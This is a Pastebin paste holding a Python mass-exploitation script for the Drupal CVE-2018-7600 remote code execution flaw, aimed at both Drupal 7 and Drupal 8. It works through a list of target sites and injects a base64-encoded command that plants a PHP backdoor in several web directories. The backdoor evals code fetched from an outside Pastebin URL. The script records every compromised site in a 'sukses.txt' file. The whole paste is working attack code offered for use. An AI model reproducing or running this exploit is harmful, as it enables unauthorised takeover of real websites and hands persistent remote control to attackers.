indonesian

Drupal exploit

Apr 27th, 2018
1,045
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.90 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys, requests, re, os
  4.  
  5. print('==============================================================================')
  6. print('||                      Drupal exploit (CVE-2018-7600)                      ||')
  7. print('||                            Backbox Indonesia                             ||')
  8. print('==============================================================================')
  9. try:
  10.     file = os.path.isfile(sys.argv[1])
  11.     if file == True:
  12.         targets = sys.argv[1]
  13.     else:
  14.         exit()
  15. except:
  16.     print('|| Usage : {} target.txt'.format(sys.argv[0]))
  17.     print('==============================================================================')
  18.     exit()
  19.  
  20. def drupal7(target):
  21.     try:
  22.         verify = True
  23.         cmd = 'echo PD9waHAgZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTkVzd0U5aXoiKSk7Cg== | base64 -d | tee ./x7.php ./sites/default/x7.php ./sites/default/files/x7.php'
  24.         url = target + '?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=' + cmd
  25.         data = { 'form_id': 'user_pass', '_triggering_element_name': 'name' }
  26.         req = requests.post(url, data=data, verify=verify, timeout=5)
  27.         patern = re.compile('<input type="hidden" name="form_build_id" value="(.+?)" />')
  28.         form = re.findall(patern, req.text)
  29.         url2 = target + '?q=file/ajax/name/%23value/' + form[0]
  30.         post = { 'form_build_id': form[0] }
  31.         send = requests.post(url2, data=post, timeout=5)
  32.         get1 = requests.get(target + 'x7.php', timeout=5)
  33.         get2 = requests.get(target + 'sites/default/x7.php', timeout=5)
  34.         get3 = requests.get(target + 'sites/default/files/x7.php', timeout=5)
  35.         if get1.status_code == 200:
  36.             print('|| Backdoor uploaded in : {}x7.php'.format(target))
  37.             open('sukses.txt', 'a').write('{}x7.php\n'.format(target))
  38.  
  39.         if get2.status_code == 200:
  40.             print('|| Backdoor uploaded in : {}sites/default/x7.php'.format(target))
  41.             open('sukses.txt', 'a').write('{}sites/default/x7.php\n'.format(target))
  42.  
  43.         if get3.status_code == 200:
  44.             print('|| Backdoor uploaded in : {}sites/default/files/x7.php'.format(target))
  45.             open('sukses.txt', 'a').write('{}sites/default/files/x7.php\n'.format(target))
  46.         else:
  47.             print('|| Upload failed (drupal7)..')
  48.     except:
  49.         print('|| Target not exploitable (drupal7)..')
  50.  
  51. def drupal8(target):
  52.     try:
  53.         verify = True
  54.         cmd = 'echo PD9waHAgZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTkVzd0U5aXoiKSk7Cg== | base64 -d | tee ./x8.php ./sites/default/x8.php ./sites/default/files/x8.php'
  55.         url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
  56.         payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': cmd }
  57.         req = requests.post(url, data=payload, verify=verify, timeout=5)
  58.         get1 = requests.get(target + 'x8.php', timeout=5)
  59.         get2 = requests.get(target + 'sites/default/x8.php', timeout=5)
  60.         get3 = requests.get(target + 'sites/default/files/x8.php', timeout=5)
  61.         if get1.status_code == 200:
  62.             print('|| Backdoor uploaded in : {}x8.php'.format(target))
  63.             open('sukses.txt', 'a').write('{}x8.php\n'.format(target))
  64.  
  65.         if get2.status_code == 200:
  66.             print('|| Backdoor uploaded in : {}sites/default/x8.php'.format(target))
  67.             open('sukses.txt', 'a').write('{}sites/default/x8.php\n'.format(target))
  68.  
  69.         if get3.status_code == 200:
  70.             print('|| Backdoor uploaded in : {}sites/default/files/x8.php'.format(target))
  71.             open('sukses.txt', 'a').write('{}sites/default/files/x8.php\n'.format(target))
  72.         else:
  73.             print('|| Upload failed (drupal8)..')
  74.     except:
  75.         print('|| Target not exploitable (drupal8)..')
  76.  
  77. for target in open(targets, 'r').read().split('\n'):
  78.     if target == '': break
  79.     try:
  80.         print('|| Target : {}'.format(target))
  81.         drupal7(target)
  82.         drupal8(target)
  83.         print('==============================================================================')
  84.     except: exit()
Advertisement
Add Comment
Please, Sign In to add comment